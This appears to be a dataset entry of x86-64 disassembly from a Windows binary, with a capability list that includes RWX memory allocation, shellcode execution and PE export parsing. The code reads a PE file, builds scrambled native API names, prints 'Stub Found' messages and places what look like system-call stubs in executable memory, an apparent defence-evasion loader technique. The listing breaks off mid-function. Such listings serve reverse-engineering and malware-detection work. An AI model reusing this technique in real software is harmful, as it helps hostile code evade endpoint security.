Function at 0x4040d1
Capabilities:
Allocate or change rwx memory
Enumerate process modules
Enumerate processes
Execute shellcode via indirect call
Get file size
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push rbp
push rsi
push rbx
mov eax, 0x5420
call fcn.00416730
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.00415830
call fcn.00401704
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0x5378], eax
mov eax, dword [rbp + 0x5378]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x5370], rax
mov rax, qword [rbp + 0x5370]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x17
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x5368], rax
mov rax, qword [rbp + 0x5368]
add rax, 0x17
mov qword [rbp + 0x5360], rax
mov rax, qword [rbp + 0x5360]
add rax, 0x17
mov qword [rbp + 0x5358], rax
mov rax, qword [rbp + 0x5358]
add rax, 0x17
mov qword [rbp + 0x5350], rax
mov rax, qword [rbp + 0x5350]
add rax, 0x17
mov qword [rbp + 0x5348], rax
mov rax, qword [rbp + 0x5348]
add rax, 0x17
mov qword [rbp + 0x5340], rax
mov rax, qword [rbp + 0x5340]
add rax, 0x17
mov qword [rbp + 0x5338], rax
mov rax, qword [rbp + 0x5338]
add rax, 0x17
mov qword [rbp + 0x5330], rax
mov rax, qword [rbp + 0x5330]
add rax, 0x17
mov qword [rbp + 0x5328], rax
mov rax, qword [rbp + 0x5328]
add rax, 0x17
mov qword [rbp + 0x5320], rax
mov rax, qword [rbp + 0x5320]
add rax, 0x17
mov qword [rbp + 0x5318], rax
mov rax, qword [rbp + 0x5318]
add rax, 0x17
mov qword [rbp + 0x5310], rax
mov rax, qword [rbp + 0x5310]
add rax, 0x17
mov qword [rbp + 0x5308], rax
mov rax, qword [rbp + 0x5308]
add rax, 0x17
mov qword [rbp + 0x5300], rax
mov rax, qword [rbp + 0x5300]
add rax, 0x17
mov qword [rbp + 0x52f8], rax
mov rax, qword [rbp + 0x52f8]
add rax, 0x17
mov qword [rbp + 0x52f0], rax
mov rax, qword [rbp + 0x52f0]
add rax, 0x17
mov qword [rbp + 0x52e8], rax
mov rax, qword [rbp + 0x52e8]
add rax, 0x17
mov qword [rbp + 0x52e0], rax
mov dword [rbp + 0x24cc], 0
mov qword [rbp + 0x52d8], 0
mov dword [rbp + 0x52d4], 0
mov dword [rbp + 0x24c8], 0
mov qword [rbp + 0x52c8], 0
mov rax, qword [rbp + 0x5368]
mov qword [0x00537048], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5368]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5360]
mov qword [0x00537050], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5360]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5358]
mov qword [0x00537058], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5358]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5350]
mov qword [0x00537060], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5350]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5348]
mov qword [0x00537068], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5348]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5340]
mov qword [0x00537070], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5340]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5338]
mov qword [0x00537078], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5338]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5330]
mov qword [0x00537080], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5330]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5328]
mov qword [0x00537088], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5328]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5320]
mov qword [0x00537090], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5320]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5318]
mov qword [0x00537098], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5318]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5310]
mov qword [0x005370a0], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5310]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5308]
mov qword [0x005370a8], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5308]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5300]
mov qword [0x005370b0], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5300]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x52f8]
mov qword [0x005370b8], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x52f8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x52f0]
mov qword [0x005370c0], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x52f0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x52e8]
mov qword [0x005370c8], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x52e8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x52e0]
mov qword [0x005370d0], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x52e0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rcx, [0x0050b548]
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x52d8], rax
mov rax, qword [rbp + 0x52d8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp + 0x52d4], eax
mov ebx, dword [rbp + 0x52d4]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rbx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0x52c8], rax
lea r8, [rbp + 0x24c8]
mov ecx, dword [rbp + 0x52d4]
mov rdx, qword [rbp + 0x52c8]
mov rax, qword [rbp + 0x52d8]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov rax, qword [rbp + 0x52c8]
mov qword [rbp + 0x52c0], rax
mov rax, qword [rbp + 0x52c0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x52c8]
add rax, rdx
mov qword [rbp + 0x52b8], rax
mov rax, qword [rbp + 0x52b8]
mov eax, dword [rax + 0x88]
mov dword [rbp + 0x52b4], eax
mov rax, qword [rbp + 0x52b8]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x52b8]
add rax, rdx
add rax, 0x18
mov qword [rbp + 0x5398], rax
mov rax, qword [rbp + 0x5398]
mov qword [rbp + 0x52a8], rax
mov rax, qword [rbp + 0x5398]
mov qword [rbp + 0x5390], rax
mov dword [rbp + 0x538c], 0
mov rax, qword [rbp + 0x52b8]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0x538c], eax
jge 0x404822
mov rax, qword [rbp + 0x5398]
lea rdx, str..rdata
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x404811
mov rax, qword [rbp + 0x5398]
mov qword [rbp + 0x5390], rax
jmp 0x404822
add qword [rbp + 0x5398], 0x28
add dword [rbp + 0x538c], 1
jmp 0x4047d1
mov edx, dword [rbp + 0x52b4]
mov rax, qword [rbp + 0x52c8]
lea rcx, [rdx + rax]
mov rax, qword [rbp + 0x5390]
mov rdx, rax
call fcn.004015a0
mov qword [rbp + 0x52a0], rax
lea rax, [rbp + 0x279f]
mov rcx, rax
call fcn.0046f690
lea rdx, [rbp + 0x279f]
lea rax, [rbp + 0x2770]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a75d0
lea rax, [rbp + 0x2750]
lea rdx, [rbp + 0x2770]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2730]
lea rdx, [rbp + 0x2750]
lea r8, [0x0050b571]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2710]
lea rdx, [rbp + 0x2730]
lea r8, [0x0050b573]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x26f0]
lea rdx, [rbp + 0x2710]
lea r8, [0x0050b573]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x26d0]
lea rdx, [rbp + 0x26f0]
lea r8, [0x0050b575]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x26b0]
lea rdx, [rbp + 0x26d0]
lea r8, [0x0050b577]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2690]
lea rdx, [rbp + 0x26b0]
lea r8, [0x0050b579]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2670]
lea rdx, [rbp + 0x2690]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2650]
lea rdx, [rbp + 0x2670]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2630]
lea rdx, [rbp + 0x2650]
lea r8, [0x0050b57d]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2610]
lea rdx, [rbp + 0x2630]
lea r8, [0x0050b57f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x25f0]
lea rdx, [rbp + 0x2610]
lea r8, [0x0050b581]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x25d0]
lea rdx, [rbp + 0x25f0]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x25b0]
lea rdx, [rbp + 0x25d0]
lea r8, [0x0050b583]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2590]
lea rdx, [rbp + 0x25b0]
lea r8, [0x0050b579]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2570]
lea rdx, [rbp + 0x2590]
lea r8, [0x0050b573]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2550]
lea rdx, [rbp + 0x2570]
lea r8, [0x0050b585]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2530]
lea rdx, [rbp + 0x2550]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2510]
lea rdx, [rbp + 0x2530]
lea r8, [0x0050b587]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x24f0]
lea rdx, [rbp + 0x2510]
lea r8, [0x0050b575]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x24d0]
lea rdx, [rbp + 0x24f0]
lea r8, [0x0050b581]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x24a0]
lea rdx, [rbp + 0x24d0]
lea r8, [0x0050b589]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x24d0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x24f0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2510]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2530]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2550]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2570]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2590]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x25b0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x25d0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x25f0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2610]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2630]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2650]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2670]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2690]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x26b0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x26d0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x26f0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2710]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2730]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2750]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2770]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x279f]
mov rcx, rax
call fcn.0046f6c0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x27a0]
mov rcx, rax
call fcn.004a7160
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x27a0]
mov rcx, qword [rbp + 0x5368]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x27a0]
mov rcx, rax
call fcn.004a7c20
cmp dword [rbp + 0x529c], 0
je 0x404cc8
lea rbx, [0x0050b58b]
jmp 0x404ccf
lea rbx, [0x0050b590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.00432680
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x2a4f]
mov rcx, rax
call fcn.0046f690
lea rdx, [rbp + 0x2a4f]
lea rax, [rbp + 0x2a20]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a75d0
lea rax, [rbp + 0x2a00]
lea rdx, [rbp + 0x2a20]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x29e0]
lea rdx, [rbp + 0x2a00]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x29c0]
lea rdx, [rbp + 0x29e0]
lea r8, [0x0050b581]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x29a0]
lea rdx, [rbp + 0x29c0]
lea r8, [0x0050b57f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2980]
lea rdx, [rbp + 0x29a0]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2960]
lea rdx, [rbp + 0x2980]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2940]
lea rdx, [rbp + 0x2960]
lea r8, [0x0050b57d]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2920]
lea rdx, [rbp + 0x2940]
lea r8, [0x0050b57f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2900]
lea rdx, [rbp + 0x2920]
lea r8, [0x0050b581]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x28e0]
lea rdx, [rbp + 0x2900]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x28c0]
lea rdx, [rbp + 0x28e0]
lea r8, [0x0050b583]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x28a0]
lea rdx, [rbp + 0x28c0]
lea r8, [0x0050b579]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2880]
lea rdx, [rbp + 0x28a0]
lea r8, [0x0050b573]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2860]
lea rdx, [rbp + 0x2880]
lea r8, [0x0050b585]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2840]
lea rdx, [rbp + 0x2860]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2820]
lea rdx, [rbp + 0x2840]
lea r8, [0x0050b587]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2800]
lea rdx, [rbp + 0x2820]
lea r8, [0x0050b575]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x27e0]
lea rdx, [rbp + 0x2800]
lea r8, [0x0050b581]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x27c0]
lea rdx, [rbp + 0x27e0]
lea r8, [0x0050b589]
mov rcx, rax
call fcn.004b75b0
lea rdx, [rbp + 0x27c0]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.004a7c60
lea rax, [rbp + 0x27c0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x27e0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2800]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2820]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2840]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2860]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2880]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x28a0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x28c0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x28e0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2900]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2920]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2940]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2960]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2980]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x29a0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x29c0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x29e0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2a00]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2a20]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2a4f]
mov rcx, rax
call fcn.0046f6c0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x2a50]
mov rcx, rax
call fcn.004a7160
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x2a50]
mov rcx, qword [rbp + 0x5360]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x2a50]
mov rcx, rax
call fcn.004a7c20
cmp dword [rbp + 0x529c], 0
je 0x405110
lea rbx, [0x0050b58b]
jmp 0x405117
lea rbx, [0x0050b590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.00432680
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x2d3f]
mov rcx, rax
call fcn.0046f690
lea rdx, [rbp + 0x2d3f]
lea rax, [rbp + 0x2d10]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a75d0
lea rax, [rbp + 0x2cf0]
lea rdx, [rbp + 0x2d10]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2cd0]
lea rdx, [rbp + 0x2cf0]
lea r8, [0x0050b5ab]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2cb0]
lea rdx, [rbp + 0x2cd0]
lea r8, [0x0050b581]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2c90]
lea rdx, [rbp + 0x2cb0]
lea r8, [0x0050b575]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2c70]
lea rdx, [rbp + 0x2c90]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2c50]
lea rdx, [rbp + 0x2c70]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2c30]
lea rdx, [rbp + 0x2c50]
lea r8, [0x0050b577]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2c10]
lea rdx, [rbp + 0x2c30]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2bf0]
lea rdx, [rbp + 0x2c10]
lea r8, [0x0050b57d]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2bd0]
lea rdx, [rbp + 0x2bf0]
lea r8, [0x0050b57f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2bb0]
lea rdx, [rbp + 0x2bd0]
lea r8, [0x0050b581]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2b90]
lea rdx, [rbp + 0x2bb0]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2b70]
lea rdx, [rbp + 0x2b90]
lea r8, [0x0050b583]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2b50]
lea rdx, [rbp + 0x2b70]
lea r8, [0x0050b579]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2b30]
lea rdx, [rbp + 0x2b50]
lea r8, [0x0050b573]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2b10]
lea rdx, [rbp + 0x2b30]
lea r8, [0x0050b585]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2af0]
lea rdx, [rbp + 0x2b10]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2ad0]
lea rdx, [rbp + 0x2af0]
lea r8, [0x0050b587]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2ab0]
lea rdx, [rbp + 0x2ad0]
lea r8, [0x0050b575]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2a90]
lea rdx, [rbp + 0x2ab0]
lea r8, [0x0050b581]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2a70]
lea rdx, [rbp + 0x2a90]
lea r8, [0x0050b589]
mov rcx, rax
call fcn.004b75b0
lea rdx, [rbp + 0x2a70]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.004a7c60
lea rax, [rbp + 0x2a70]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2a90]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2ab0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2ad0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2af0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2b10]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2b30]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2b50]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2b70]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2b90]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2bb0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2bd0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2bf0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2c10]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2c30]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2c50]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2c70]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2c90]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2cb0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2cd0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2cf0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2d10]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x2d3f]
mov rcx, rax
call fcn.0046f6c0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x2d40]
mov rcx, rax
call fcn.004a7160
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x2d40]
mov rcx, qword [rbp + 0x5358]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x2d40]
mov rcx, rax
call fcn.004a7c20
cmp dword [rbp + 0x529c], 0
je 0x4055b0
lea rbx, [0x0050b58b]
jmp 0x4055b7
lea rbx, [0x0050b590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.00432680
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x2f6f]
mov rcx, rax
call fcn.0046f690
lea rdx, [rbp + 0x2f6f]
lea rax, [rbp + 0x2f40]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a75d0
lea rax, [rbp + 0x2f20]
lea rdx, [rbp + 0x2f40]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2f00]
lea rdx, [rbp + 0x2f20]
lea r8, [0x0050b5ad]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2ee0]
lea rdx, [rbp + 0x2f00]
lea r8, [0x0050b581]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2ec0]
lea rdx, [rbp + 0x2ee0]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2ea0]
lea rdx, [rbp + 0x2ec0]
lea r8, [0x0050b579]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2e80]
lea rdx, [rbp + 0x2ea0]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2e60]
lea rdx, [rbp + 0x2e80]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2e40]
lea rdx, [rbp + 0x2e60]
lea r8, [0x0050b5af]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2e20]
lea rdx, [rbp + 0x2e40]
lea r8, [0x0050b5b1]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2e00]
lea rdx, [rbp + 0x2e20]
lea r8, [0x0050b581]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2de0]
lea rdx, [rbp + 0x2e00]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x2dc0]
